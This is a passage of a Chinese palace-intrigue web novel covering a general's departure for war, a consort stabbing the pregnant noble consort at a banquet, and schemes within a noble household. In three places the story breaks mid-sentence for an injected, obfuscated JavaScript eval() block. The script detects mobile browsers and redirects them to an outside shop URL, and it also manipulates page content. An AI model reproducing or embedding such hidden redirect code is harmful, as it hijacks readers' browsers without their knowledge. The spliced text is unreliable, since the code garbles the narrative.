谢砚深：“上回京郊刺杀，背后主谋大理寺尚未查出，她此时婚嫁出府等同涉险，兄长最近身体渐好，知道京郊之事后，已经劝过她了。” “从北境回来之后，我会同兄长一齐商议，定下她的婚事。” 字句沉稳有力，似乎并无异常。 “……既然如此，那便随你吧。”沉默许久，王老太君摆了摆手，还是松了口。 谢砚深：“多谢母亲。” 末了，又道：“陛下恩典，辰月十五夜，宫中举宴饯行，母亲是否前去？” 王老太君：“天家恩旨，哪有不去的？你也去准备吧。” “是，儿子告退。” 72.宫宴 主院。 正门的动静收了，玉怜脂没有回珠玉院，谢砚深跟着王老太君去了润安堂，她知会了忠伯，到主院来等。 过了半个时辰，房门处才有了动静。 谢砚深从门外进来，神色如常。 玉怜脂站起来，眼神首先定在他脸上，没看到什么伤痕，心下松了些。 “太夫人说什么了？有没有说你回北境之后，府里会有什么安排？”她快步走过去，皱着细眉，整个人有些忐忑。 刚到近前，肩被男人搂住。 “别急。”谢砚深知道她不安，半环着她，将她带到罗汉榻上坐下。 握紧她冰凉的双手，缓声道：“我同母亲说，待我走后，留你在府中，她同意了。” 玉怜脂不由惊讶：“太夫人素来不喜欢我，她怎么会同意。” “你同她说了什么？” 他唇角有隐约弧度，压下首贴在她耳畔，轻声密言。 他说话间，怀里的人刚开始脸色骤然惨白，而后渐渐放松，最后一下笑出来，眉间忧愁散去。 “你居然敢哄太夫人，”她嗔笑瞪他，“还寻觅佳婿，你要给我寻谁？” 谢砚深抱紧她，下颌抵在她发上，不说话。 “快说，不准装哑巴。”玉怜脂抬头，轻戳他喉间。 甲尖刮过去，喉结随之动了动。 他复又低下头，细细吻她柔软的侧颊：“寻我。” 温存良久，他的神色开始渐渐带上些凝重。 随即捧住她的脸，盯着她，正色道：“怜娘，母亲喜怒无常，极易反复，此计或许只能保你三两月，若是之后安平伯府中人前来，母亲听了旁人言语，大概还是会起对你不利的心思。” 玉怜脂立时又忧虑起来：“什么？那，那我怎么办?” “回西院，”谢砚深沉声，“回你滨叔的身边。” 她眼中微闪：“……滨叔？” 谢砚深颔首：“对。兄长的病情已经能控制住了，不再染人，他与母亲一向面和心不和，母亲为人骄傲，又猜忌于他，不会和他透露半点我与你的事情。兄长重旧情，也看重你，追杀你的人还没有抓住，他忧心你安危，一定不会松口、让母亲将你送出府的。” 谢滨病时，玉怜脂问候的书信从来没绝过，他病好些的这段时日，但凡能去看他，玉怜脂都带着药膳过去。 再加上有玉逢羲的情谊，就算面对的是王老太君，谢滨也绝对会力保她留在府中。 这样的安排，的确是最好的了。 玉怜脂垂下眼，细声：“好，我知道了。” “我不在时，若有人为难你，不要硬碰硬，万事安危最要紧，”谢砚深眉宇沉暗， “不是要你忍下委屈，发生什么都记下来，我回来后，自然会清算。” 一听到“不在”，她抬头看他一眼，低下头时，眼泪又开始掉了。 “别哭。”他抹去她的泪水，“又不是不回来了，我给你留了一只信鸽，放在忠伯那里，有什么都可以写信同我说，不要一个人闷着。” “乔诚也留给你，一定要按时喝药，养好身子。” 他鲜少有这样反复又绵长的叮嘱。 ——实在是担忧极了她。 但越说，她反而越是委屈。 最后，咬着唇埋入他怀里，小声啜泣，依依不舍。 “听话。”拿着巾帕给她擦泪。 -- 十五月圆，大殿声乐歌舞绕梁入云，金辉流彩满目，宫婢垂首快步，手捧器皿来去。 杯盘碗樽奢贵耀目，金玉银瑙，象牙翠石，盘中佳肴色香俱全，举杯畅饮宫廷酒，抬眼望去，满殿舞姬挥袖翻袂，踏云击渊。 居中高座之上，平武帝举起九龙玉樽，扬声：“众爱卿，今日宴，是为赴北境诸将饯行，也是为贵妃祈福，不必拘束。” 群臣举杯谢恩，座次以官位排序，恭贺秦贵妃有孕之喜。 龙椅两侧，皇后凤座于左，秦贵妃桌案略偏，如常陪侍平武帝身旁，不时抚摸已经鼓起来的腹部。 平武帝对她笑言颇多，明显的偏爱，她桌上的菜肴与任皇后几乎别无二致。 方才，任皇后独自入宴，而秦贵妃却是与御辇一同来的，平武帝扶着她入座。 下首，承王、睿王两位封亲王位的皇子坐得最近，看见诸般情状，脸色已然大不相同。 承王闷下一杯酒，眼中冰寒，而睿王则是掩盖不住的喜色。 任皇后坐在凤座上，不见悲喜，平武帝许多年来都冷落她，她早习以为常。 她是正宫皇后，只要凤位稳当，皇帝的欢心在谁身上，她都不在乎。 后宫里的女人就像雨后的竹，不停地长，砍了，第二天还会再有，她只警惕恃宠争权之人。 冰冷的眼神轻飘飘划过右侧娇笑着的秦贵妃，而后向下移，最后定在一道身着绣金鲜绿宫裙的人影上。 女人面容清秀，眼角已经生了细纹，五官中一个翘鼻生的极好，美中不足的是，额角一道拇指长的旧疤。 淑妃坐在仅次于上座的位置，四妃之中，秦贵妃正在平武帝身旁，贤妃难产早逝，德妃未立，她如今是后宫中位份排列第三的人。 膝下皇子虽夭折，但她待遇比以往更好。 平武帝每每看见她的额角，赏赐都会如水一般从建章宫流到锦安宫。 此时，淑妃端坐在座上，面色不知为何有些僵硬。 离得很近，秦贵妃每柔声同平武帝抱怨腹中孩儿折腾一次，她的脸就多白一分。 细细看去，她的鼻翼，良久便抽动一下，唇角想要向下压，而后又被强行提起。 任皇后眼中有逐渐升腾的满意，不动声色，收回视线。 多年前，她原本可以寻机结果淑妃泄愤，但最后，忍下来了。 因为她突然发觉，后宫里，淑妃是一把难得的刀子。 淑妃原本就是记事前就被卖入宫中的宫女，没有什么家中人，十皇子死了，淑妃就更没什么可顾的了。 而秦贵妃和太后知道淑妃仇恨凤仪宫，又无心机手段，没有什么威胁，自然便对淑妃放松警惕。 秦氏，逐渐枝繁叶茂，那她就要埋一瓶随时会破裂的毒药在他们的树根。 淑妃丧子之后的这些年里，任皇后费心谋划，让淑妃许多回侍寝恩宠被秦贵妃截走，十回八回，淑妃难免口出怨言，而这些话，自然有宫人禀报永乐宫和长信宫，淑妃屡受太后惩治，又被贵妃打压。 积怨已久。 最重要的是，锦安宫的宫人也在旁敲侧击加以暗示——“当年十皇子之死，究竟是意外，还是人祸？若是人祸，谁才是受益者？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152567|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 多年的积累，那封奶母血书，是最后的引子。 “陛下，”绿裙宫妃站起身，脸上的笑容有些小心翼翼的讨好，“贵妃有孕，宫里头许久没有小皇子小公主降生了，臣妾做了些东西，想趁着今日贺宴，亲手奉送给贵妃。” 言语柔弱中带着怯意，似乎是觉得有些羞愧。 身旁，大宫女端上了一盘绣品，婴孩的衣物鞋袜，一应俱全。 淑妃接过托盘，离座，有些期盼地看着秦贵妃的腹部，眼中含泪。 ——一个丧子后的可怜母亲。 突然来了这么一出，秦贵妃的脸色不好看，眼神也带上厌烦，只不过转瞬即逝，掩藏得很快。 刚想脱口“多谢妹妹好意，不必”，身旁的平武帝先开了口。 “太医院说，你这几日身子不适，不好好休息，还做了这许多，有心了。”十分温和的语气。 秦贵妃立时转头看去，平武帝却没看她，紧盯着淑妃，眼神里有易察的柔软。 多半是想起了早夭的十皇子，想起淑妃给他挡刀的时候。 淑妃笑容深了些，言语愁愁：“从前也做，只是许久没有这样的机会，难免生疏了些，贵妃不嫌弃才好。” 平武帝眼中闪过痛惜，果然应和：“贵妃不事骄奢，怎么会嫌弃，别站着了，过来吧。” 秦贵妃想说话，也没机会了。 只好撑着笑，看淑妃朝自己走过来。 到了面前，淑妃恭敬将盘中物朝前递去，秦贵妃身旁的大宫女接过托盘，刚移步的一瞬，眼角闪过一道雪光。 下一秒，鲜血的气味蔓延开来。 “啊！！”女人的尖叫响彻整座大殿。 回头看去，心骇神碎。 秦贵妃捂住肚子，手紧紧抓着刀身，刀尖已然戳入了她腹中。 “毒妇！！去死吧你！！”淑妃目中疯狂，用尽全身力气压向刀刃。 满殿哗然，群臣大乱。 平武帝反应最快，一脚猛力踹开淑妃，抱住捂着腹部的秦贵妃，目眦欲裂：“太医！太医！！” 淑妃跌在座下，胸口挨了一脚，却忍着痛不停大笑，已经被禁军反手压跪在地上。 宫婢们以最快的速度将秦贵妃抬入后殿，而正殿混乱却没有停止。 “贱人！”平武帝一把拔出壁上宝剑，剑锋直指淑妃，“疯妇！朕要斩了你！” “陛下该斩的是贵妃！”淑妃破口大喊，涕泪俱下，“是她杀了我们的孩子！是她！是她为了嫁祸皇后娘娘，串通奶母，杀了我们的十皇子啊！！” “你为什么不去杀她？！” 怒吼传遍殿宇，霎时哗变。 座下睿王立时大喊：“你胡说什么？！父皇明鉴啊！一定是淑妃为了脱罪胡言乱语！父皇不要被疯子瞒骗了！” “淑妃公然谋害母妃，其罪当诛，父皇，应速斩之！！” 此乃宫中秘事，底下群臣均是外臣，此刻静默，不能开口。 另一侧，承王迅速转头看了一眼上首面无表情的皇后，抿唇压下唇角略起的弧度。 平武帝浑身气得发抖，胸口起伏，面色涨红发紫，眼睛闭了又闭。 “将淑妃，押回锦安宫，任何人不得探视，也不得让她有伤，等候朕亲审！” “当啷”一声，长剑被抛落地上。 73.帝王 禁军如黑潮一般包围了大殿，殿内所有人一步不得踏出。 太医院所有太医跪在后殿中，秦贵妃的惨叫一阵比一阵弱，殿内的熏香根本压不住血腥之气，宫婢慌忙端着铜盆进出，平武帝站在帘外，手撑着额头，脸色青灰。 任皇后坐在一旁，不发一言。 没过多久，帘内声响彻底消失了，太医院院使和左右院判擦着汗走出，齐齐跪下。 平武帝放下手，唇颤搐着，微微站起身，紧盯着面前三人。 “陛下！臣等无能，贵妃，贵妃小产了！”太医院院使丧哀拜地。 平武帝僵直刹那，猛地摔坐下来，身躯摇晃，几欲昏厥。 “陛下！”任皇后连忙扶住他。 稳了稳身形，平武帝一把挥开她，眼眶通红，朝地上三人问：“贵妃现在如何了？” 太医院院使：“回禀陛下，贵妃年岁已经不轻了，本就是艰难得孕，如今尚不满三月，那把刀虽未捅入太深，但贵妃腹中龙胎原就不稳，惊吓之下，骤然流产。 “现在血虽然已止住，但贵妃伤了根本，如不细心调养，日后必会有崩漏之症啊。” 话音落下，殿内陷入死寂。 许久之后，平武帝开了口，声音嘶哑，像是忽然老了许多：“去看顾贵妃吧。” 三人：“臣遵旨。” 太医躬身退出去，又回了帘内。 平武帝以掌捂面，搁在膝上的另一只手狠狠攥紧拳，呼吸之间有隐忍的泪意。 任皇后瞥去一眼，尽量温声：“陛下，节哀。” 她说完，片刻，平武帝放下了手。 眼角有未干涸的湿润，但面容已然恢复天子威肃。 “皇后，”他声音极冷，“今日，淑妃提及当年之事，说是贵妃陷害于你，如今贵妃小产，你劝朕节哀，是真心么？” 任皇后瞳中一缩，刚柔和一点的声音倏然又恢复了冷淡：“陛下，十皇子的事，已经过去太多年了。” 平武帝转过头，盯着她：“……朕只问你，今日之事，到底和你有没有关系？” 任皇后从容站起身，遵从礼法，跪于殿砖之上，声线冷漠而平静： “陛下，当年十皇子薨逝，所有人都指臣妾为凶手，臣妾辩白，陛下与太后不信，朝臣群起，上表废后；如今淑妃谋害贵妃，淑妃乃十皇子生母，时隔多年，于大宴之上，冒死罪指证贵妃，陛下也怀疑是臣妾所为，那么，臣妾请陛下明示，这一次，臣妾要如何自证清白，陛下才会相信臣妾？” 平武帝一滞，竟有些哑口无言。 任皇后冷然：“若陛下认为，一切都是臣妾指使淑妃，那么现在就下旨废臣妾后位，斩淑妃，为贵妃雪恨吧。” “陛下既提起当年事，那臣妾不得不言。当年真相如何，陛下，难道真的不知？臣妾虽不如贵妃恭顺柔佳，但也并没有愚蠢到在自己的宫中谋害皇子。” “十皇子若是真身体不适到被几句言语惊吓至病发，那为何平常侍奉的太医没有诊出半丝异样？陛下，臣妾若是真的能指使淑妃为自己作证，那么，臣妾又岂会等到今日？” 一言一语，冰冷，理智。 良久，平武帝站起身，看向地上朱金宫装的发妻，似叹似述： “倚凰，这么多年了，你一点都没有变过。” 任皇后猛地抬起头，直到此刻，她才像是有了一点真正的、情感上的波动。 “这么多年，你还是不明白，什么叫做聪明反被聪明误。”平武帝俯下身，将她扶起来。 任倚凰面色有压制不下的惊愕。 “……罢了。”平武帝最后深深地看了她一眼，又望了望纱帘的方向，扭头走出了大殿。 身后，女人抿紧唇，眼神中是掩藏了太久的不甘。 … 锦安宫。 宫殿之中，禁军站了满殿，紧紧盯牢贵妃榻上被绑紧塞口的女人。 锦安宫的宫人已经全部被带走用刑，此刻，宫殿里是令人不安的沉寂。 但榻上的人却没有丝毫恐惧，只是默默流着泪。 不知过了多久，殿门打开。 禁军齐刷刷回头，随后跪下：“参见陛下！” 平武帝望向榻上狼狈的女人，眉间沉郁，一旁的钱礼观察着他神色，心中意会，走上前，拿下了淑妃的口枷，用帕子清理干净她的面容。 淑妃的泪没有止住，定定看着数米外的平武帝。 很久，笑了起来：“五殿下。” 言语落定，站在榻旁的钱礼心中一悚，转首看向皇帝。 只看见男人的身影瞬时颓下几分。 很久没有人叫过他这个称呼了。 淑妃已经疯魔了，不认得什么当今陛下，只认得从前的五殿下晋王。 “……松绑吧，”平武帝缓缓道，“都出去。” 钱礼有些焦急：“陛下，这……！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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平武帝面色极沉，从殿中走出，开口： “传旨。” 钱礼急忙上前。 “淑妃，谋害贵妃，大逆不道，赐白绫，朕特念其侍奉多年，一切丧仪依从妃制。” “镇北侯赴北境领军，边关暴乱持久不下，形势严峻，令三皇子逸郡王为监军，同往。” “淑妃之案，缘由甚深，朕疑真凶逍遥法外，今日起，京畿内外戒严。” 74.离京 凤仪宫。 女官疾步跑入殿内，穿过珠帘，登时跪下：“娘娘！” 任皇后斜倚榻上，睁开眼，冷声：“如何了？” “陛下下旨，赐死了淑妃！京畿戒严，还突然将逸郡王调作北境监军了！”女官回话。 任皇后瞳中紧缩，坐起身：“什么？” “逸郡王？北境监军？” 女官点头如捣蒜：“千真万确！” 任皇后脸上青一阵紫一阵，喃喃：“逸郡王？怎么会……？” 遣派皇子监军，古来是帝王要交托实权的征兆，那可是在北境军中立威的大好机会。 可怎么会是逸郡王，那是个从前在朝上如同不存在的人。 平武帝为什么在这个时候，下这样匪夷所思的旨意？ 难不成，淑妃说动了皇帝，让他对贵妃彻底失望了，贵妃没了龙种，睿王之前损失的民望也没有弥补回来，太后又年事已高，眼看着没几年人就要糊涂了。 所以，皇帝不再寄希望于睿王，但又不能坐视朝中只有一党独大，加上怀疑淑妃案和她有关，便扶持逸郡王来制衡他们？ 片刻，目中急怒：“立刻传信承王和国公府！” “是！” … 左相府。 深夜，从宫中回来的马车才停在角门。 留府中的女眷们领着管事下人等得心急如焚，见到马车回来时，泪已经掉了好几回了。 车厢门打开，身着赤色一品官服、略微富态的中年男人踩着马凳落地，脸上黑得能滴出水来。 “夫君……”左相夫人迎上前，惴惴不安，“宫里头是不是出事了？贵妃娘娘如何？” 秦恪看着她冷声：“吩咐下去，今夜之事谁也不准多问多舌，主院附近不许人来。” 末了，向一旁长随低声：“递信，请睿王殿下前来。” 长随垂首：“是。” -- 辰月末，护卫逸郡王与镇北侯赴北境军队即将开拔。 半月以来，京中如有黑云压城，守军巡城森严数倍，贵妃丧子，淑妃就死，如此大案，事发于宫宴群臣面前，皇帝龙颜震怒，雷霆之下，各府缄默，事事不敢轻动。 … 武将的铠甲沉重冰冷，通体银黑，挂在甲胄架上，威严中隐隐透出杀意。 谢砚深动作利落，穿甲的速度极快。 玉怜脂在旁边看着，帮不上手。 和他在一起之前，真正的甲胄她是见都不曾见过的，这样的东西民间不准私藏，一旦发现，罪同谋反。 等他穿戴好，她才走上前，手上是深黑披风。 玉怜脂踩在低矮小凳上，抬臂一摆，最后将铠甲上的两道与披风连接的锁扣扣上。 弄好之后，下了矮凳，朝后退了几大步，隔远些看他。 往日她看谢砚深着常服，已觉得他身形高大，不经意间的举动，肌体沟壑甚至能透出薄衫。 床榻间，他的肩背宽厚到遮住她向上的视线，蜂腰猿臂，摆弄她像是摆弄一枝不堪重折的花。 很多时候，他站着，她要么踩在他的脚背上，要么就是足尖离地。 偏偏他从来没有疲累的时候，不像她，弄一回要睡许久才缓得过来。 若说情浓沉溺时他是悍猛惊人，现在玄甲覆身的谢砚深，则充斥着将帅的骁烈沉着。 不动如山，令人胆战。 谢砚深侧首看去，一张有些苍白的小脸映入眼帘。 呆呆的，好像，还带着惧怕。 眉间蹙起，立时朝她走过去，抬手轻抚。 “怎么了？” 玉怜脂惊了一下，回过神，唇角扯出笑：“我第一次见你穿铠甲。” “好威武。”她小声说。 男人眼中郁气散去，低下头，和她额抵着额：“我要走了。” 身上铠甲冷硬，不能像往日那样紧抱她入怀，只能轻搂她腰。 玉怜脂踮起脚，双手捧着他的脸，唇柔软，细密吻他。 良久，眼中含着泪，哽咽：“一定要早点回来。” “好。”他低声应。 随后，又叮嘱：“如今京中戒严，会有一段时日太平，但之后要加倍小心。我走后，立刻回西院。” 玉怜脂抱着他，脸颊贴在冰凉的铁甲之上，不应话，只垂下眼，轻声唤他： “砚郎。” 男人大掌抚在她发后，眉心压紧。 … 天色放亮，镇北侯府车队行往城门处。 城墙下军队列集，其中最显眼的是一匹通体深黑、唯四蹄雪白的骏马，骑兵均玄甲黑披，扬鞭策马，向城外行去。 城楼之上，所有出征将府与逸郡王府亲眷都到了。 玉怜脂站在高大夫人身旁，朝下望去。 踏雪乌骓上的男人眉锋目利，眸色是纯沉的深黑，面容肃正。 像是感知到什么，回首深望一眼。 但也只一瞬。 战马速度极快，疾奔沙扬，伴随隆隆蹄声，行军出城。 王老太君站在最前，收回眼，朝最右侧投去冰冷一眼，末了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13190510|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道：“回府吧。” -- 搬院子颇为繁琐，珠玉院与西院又离得远，所以耗了不少时辰，搬了两天，才总算搬完了。 当夜，玉怜脂去了善启堂，久违地和谢滨一同用膳。 厅里头有掩不去的苦药味，但她从小就是药罐子，完全没觉得有什么。 谢滨身体还虚弱着，看见她来，一高兴，精神都好了许多。 一块用了饭，外头月色幽浅，玉怜脂陪他到院子里坐着吹吹清风。 谢滨饮完药，净口之后，笑着说：“我病了这些日子，院子里真是冷清，难为你这么快搬回来，同我说说话。” 玉怜脂摇头：“滨叔别这么说，嫣儿霖儿也想回来的，只是东西太多，婶婶身子弱，支应不过来，我过后去帮帮手，不几日，他们也回来了。” “你的身子也是多病的，要注意些，别受累才是啊。”谢滨声音颇虚弱，“他们不回来也好，免得……” 言语有未尽之意。 玉怜脂细眉轻蹙，低声：“是方姨？” 谢滨的眼中渐渐红了些：“她到现在，都没有清醒。嫣儿霖儿那里瞒得辛苦，也不知道还能瞒多久。” 玉怜脂眼中微闪。 如夫人方氏，中毒最深，到现在都没有醒过来。 段素灵放在西院的那两个徒弟回来禀报，方氏怕是活不过来了。 她抬眼，笑中有些苦涩，安慰：“方姨吉人自有天相，会好起来的。” 谢滨摇了摇头，没有再继续说下去。 转而道：“怜脂，最近京城不太平，你还是待在府中，不要出去，议亲之事也推一推罢。滨叔知道委屈你了，但你的安危最重要。” 谢砚深派人来告知他玉怜脂在京郊差点丧命的时候，他简直气得快要厥过去。 是他将玉怜脂邀来京城，玉怜脂却险些死在京都，真下去了，他怎么有脸见玉逢羲。 无论如何，他也得保住她的命。 玉怜脂目中含泪：“怎么会是委屈，滨叔一心为我着想，我都知道。” “好孩子，”谢滨神色凝重，拍拍她的手，“润安堂那边，以后你不要去了，称病便罢了，若是那边有人来唤你，一定要同我说，啊。” 王老太君和安平伯夫人，他一个都不想她接触。 都是毒妇。 玉怜脂心性纯善，又柔弱，恐一个不慎，为其所害。 谢滨不放心，再三叮嘱：“绝对不能瞒着滨叔，知道了吗？” 女娘眼睫轻动，道：“好，我听滨叔的。” 75.道观 翡韵阁虽然不比珠玉院僻静，但地方宽敞许多，便是最寻常的桌椅木材也是名贵不少。 谢砚深走了，把主院的乔大夫留了下来，如今玉怜脂不在珠玉院住了，乔大夫自然也得跟到西院来。 谢滨还未病愈，无力理事，高大夫人也管不着她，她待在翡韵阁，倒也自在。 辰月末尾，立夏已过，天气越来越暖和，入了巳月，北地就开始进暑气。 玉怜脂一向畏寒，巳月还用不得冰，待到午月，就能从冰窖里开冰出来，在房里放着，夏天才凉快。 房门大开，下人们推着三尺见方的沉木箱进来，这箱子比她当时带来的首饰箱子略小一些，沉箱打开，里头罗布许多时新的华贵首饰、精绣团扇。 关嬷嬷站在一旁：“立夏都过了，姑娘的首饰钗环也该添些新的了。” 这是往时的惯例。 玉怜脂没太多挑选式样的闲心，粗略看了几眼，点了几样不喜的，其余的就都收进来。 关嬷嬷立时吩咐人下去安排，然后关了房门。 “嬷嬷，”玉怜脂叫她，“消息还是没法递回去吗？” 近些日，京畿地界因为宫里头的大事戒严，风声鹤唳，来往行人盘查比往日不知道紧了多少。 那阵仗，连拱卫京城的几处大营也紧张起来。 所以，她们和两江那边的消息传递，一时间困难了许多。 关嬷嬷摇头：“段大掌柜派了好几拨人了，才递出去一封，出去都这样难，进来就更难了。” 玉怜脂放下手中书卷，垂眸：“……偏偏在这个时候。” 京城和两江联络本就要耗费力气，现在这么一出，她就没法及时从吕贯君那边得知两江的情况了。 消息传得不及时，她没法做下一步判断。 若是事情真不如她所想，她起码还能提前为玉氏的其他人安排后路，不必和她一同留在京城里，朝不保夕。 但现在…… 关嬷嬷安慰道：“姑娘别忧心，京城总不会一直戒严的，过段日子兴许便好了。” 玉怜脂摇了摇头，皱眉：“我只怕误了大事。” “传信告诉阿姊，再派几批人出去，务必及时将消息带回给吕叔。” 关嬷嬷：“是。” -- 京郊，云山南。 云山南侧无通人烟之路，林间雾重幽冷，崎岖难行。 其中多有石洞，历代云山观监院皆于此地苦修悟道。 晨间湿雾缭绕，洞壁之上凝结的水珠滑落，滴于地表，渐渐汇成一片。 露水幽清，水洼虽浅，也能倒映洞天景象。 然下一瞬，清澈水面被踏破。 洞中人理正衣冠，身上青色道袍因多日静修染了尘灰，他并不在意，带着物什从容出了石洞。 他面容已经苍老，只一双眼明亮，脚步看着轻缓，实则行动极快，不多时，已然攀登而上，眼前可见巍峨宫观，人站在一道涂黄小门外。 抬手拉住门环，接连重扣九下。 片刻。木门“吱呀”打开。 小道童探出门外，见着来人，连忙躬身行礼：“监院。” 清晖道人抚下颌花白长须，入了门内。 … 监院静修归来，消息到了不久，云山观都管们已经站在静室之外。 小半个时辰，才入室内。 清晖道人盘坐于上，笑问：“这段时日我不在观中，诸位劳心了。可曾有过要事？” 都管皆先谢过他慰语，随即将数月来与往常有异的俗务道来。 谈到快最末尾时，清晖道人脸色沉下。 “镇北侯，携一女前来拜祭？”声中有些犹疑。 当日负责接待的都管：“是，但侯爷身份贵重，此等秘事，我们不敢走漏半点消息，免得招来祸患，监院还请放心。” 清晖道人眯起眼，神色有些凝重起来。 半晌，道：“……都先出去吧。” “是。” 几人起身走出房外，将门阖上。 -- 夜，安平伯府。 伺候的婆子们战战兢兢，垂首站在房内，小榻上斜倚的妇人撑着额，地上是摔碎的汝窑瓷瓶。 赵庆姗匆匆由外进来，掀开珠帘，看见地面狼藉，赶紧挥手：“都干站着做什么，还不收拾了。” 婆子丫鬟得了赦令，都忍不住眼露喜色，顾不上别的，赶紧清理残片。 赵庆姗快步走近，而后坐下，理了理裙摆：“收拾好了就都出去，我同母亲有话要说，把房门都给我守好了。” 下人们自是应声，飞快退出门外。 房门闭紧。 赵庆姗才连忙凑近前，焦急：“母亲唤我这样急，到底出了什么事？是与我有关？” 安平伯夫人面容阴沉，顿了顿，将手中信纸递给她：“看完便烧了。” 赵庆姗看她神色沉沉，心下立时一跳，将信接过来，飞快扫视。 数秒，僵在椅上。 信上之言寥寥几句——“月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200769|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前，镇北侯曾密伴一女子往观中祭拜双亲，此女父姓一字，玉。” 指尖颤抖，信纸掉落在地。 赵庆姗倏地回过神，弯腰将之捡起，掀开桌上香炉炉盖，丢了进去。 安平伯夫人看着女儿魂不守舍的样子，言语冷寒：“此女是谁，不用我多说了吧。” 玉姓女，还能有谁。 赵庆姗只觉得头脑昏涨，思绪弯绕着，飘到当时春分花会上，谢砚深腕内那道红痕，又忽地拐向四时园时，他冲冠一怒为红颜的冷厉模样。 好半晌，声音颤抖着：“……果然，是这样。” 她的不安猜测，还是成真了。 安平伯夫人蹙眉：“果然？你早有猜测？” 赵庆姗艰难点头：“而且，表哥带着她去祭拜那天，正好我去了侯府。” 当时，她的马车就在一旁，被谢砚深无视了。 却原来，他正在车厢之中，陪着那个女子。 想到此处，鼻尖忍不住酸楚，但眼里渐渐染上怨恨。 安平伯夫人直起身，看她这副样子，恨铁不成钢，瞪着她说：‘ “你怨个什么，有何好伤心的？眼下你表哥出了京，府里都是你姨母做主，岂不是将那女子逐出府的大好良机？” 赵庆姗猛地抬眼：“母亲……” 安平伯夫人眯着眼，言语幽冷：“那女子不是个安分的，你姨母现下松口，要你做儿媳，可将来若是你嫁过去，有她在，你的日子还想好过？” 玉怜脂颜色太好，勾人心魄，即便是谢砚深这般出了名的严正君子，也无法保证日后不会偏心爱妾。 更何况如今他便那般护着她了，简直是一丁点委屈都不肯让她受。 克己复礼多年，竟然能冒着大不韪和那女子暗通款曲。 而且，玉氏女和侯府大房交情匪浅，谁知道，此事有没有大房的一份力。 赵庆姗嫁入谢家做主母，就算有王老太君撑腰，可侯府家主毕竟是谢砚深，王老太君年过花甲，能护她几时。 到时候没了靠山，谢砚深又颇为不喜他们伯府，胞兄赵庆吉还立不起来，她还不被那玉氏女压得无容身之所？ 赵庆姗自己也想得到这一层，霎时脸色白了几分。 “母，母亲，那我们该怎么办？” 安平伯夫人看见她惴惴不安的样子，皱起眉，倾身向前，拍拍她手：“怕什么？有母亲在呢。” “多得是法子让她没法在侯府待下去。”冷笑，“只看，要做到哪一步了。” 76.姨娘 巳月，槐柳阴初密，帘栊暑尚微。 本是天气温暖而不灼热的宜人时节，西院里却阴云沉沉。 方氏已经到了弥留之际。 流芳庭那边拖了又拖，等到方氏将死的消息彻底瞒不住的时候，高大夫人终于松口，很快搬回了西院。 … 绿漪居。 大夫们叹着气，摇了摇头，默然退出房外。 谢文嫣和谢文霖守在方氏的床边，哭得快要窒气。 他们虽不是方氏所生，但自小就是她养大的，方氏没有自己的儿女，时间久了，真是把他们当亲生的孩子来疼。 养育之恩，不下生恩。 谢滨脸色灰白，坐在一旁，看着床上形容枯槁的瘦弱女人，哽咽垂泪。 当年他遇见方氏的时候，她只是个湖边贫家的采莲女，羞涩，痴心，只一面便跟定了他，即便要做小。 彼时，高大夫人刚怀上龙凤胎，原本还算康健的身体竟然开始虚弱，偏偏大夫说不能灌猛药打落孩子，否则母体受不住药毒，只会母子俱亡，还不如生下来，或有一线生机。 高大夫人身子衰弱，心神也浑噩起来，院子里的庶务自然支撑不住，能保下命都是菩萨保佑了。 许多人都劝他娶二房，以备不测，便是王老太君也有往他院里塞人的意思，思来想去，他将方氏带回了府里。 这一晃，就过了这么多年了。 “菡儿……”谢滨的声音因为低泣而模糊。 但床上的方氏已经听不到了，她的脸色青黑，身上起了浮肿。 玉怜脂站在谢滨身后，捻着帕子，默默擦着眼角落下的泪水。 低声劝道：“滨叔，我知道您难过，可您病才刚好，要保重身体啊。” 谢滨捂着脸，脊背颤抖。 子哭夫泣，一片惨淡。 远一些的小榻上，还坐着一道瘦削身影。 高大夫人看着眼前痛人肺腑的景象，只想发笑。 面上没有表情，眉弓处轻扬，眼里尽是冰冷。 月光从窗纸透进来，屋子里的烛火摇晃几下，黯淡下来。 “姨娘！姨娘——”崩溃的哭嚎传出。 院子中的下人们全部跪地，垂首齐声丧哭。 方氏断气了。 谢滨强撑着站起身，伏在床边，谢文嫣谢文霖扶着他，俱是痛哭流涕，不能自已。 玉怜脂在旁边，面上是心疼与不忍，流着泪偏过头。 眼神对着的方向，小榻上的女人正拿着铰刀，伸向逐渐昏暗的灯盏。 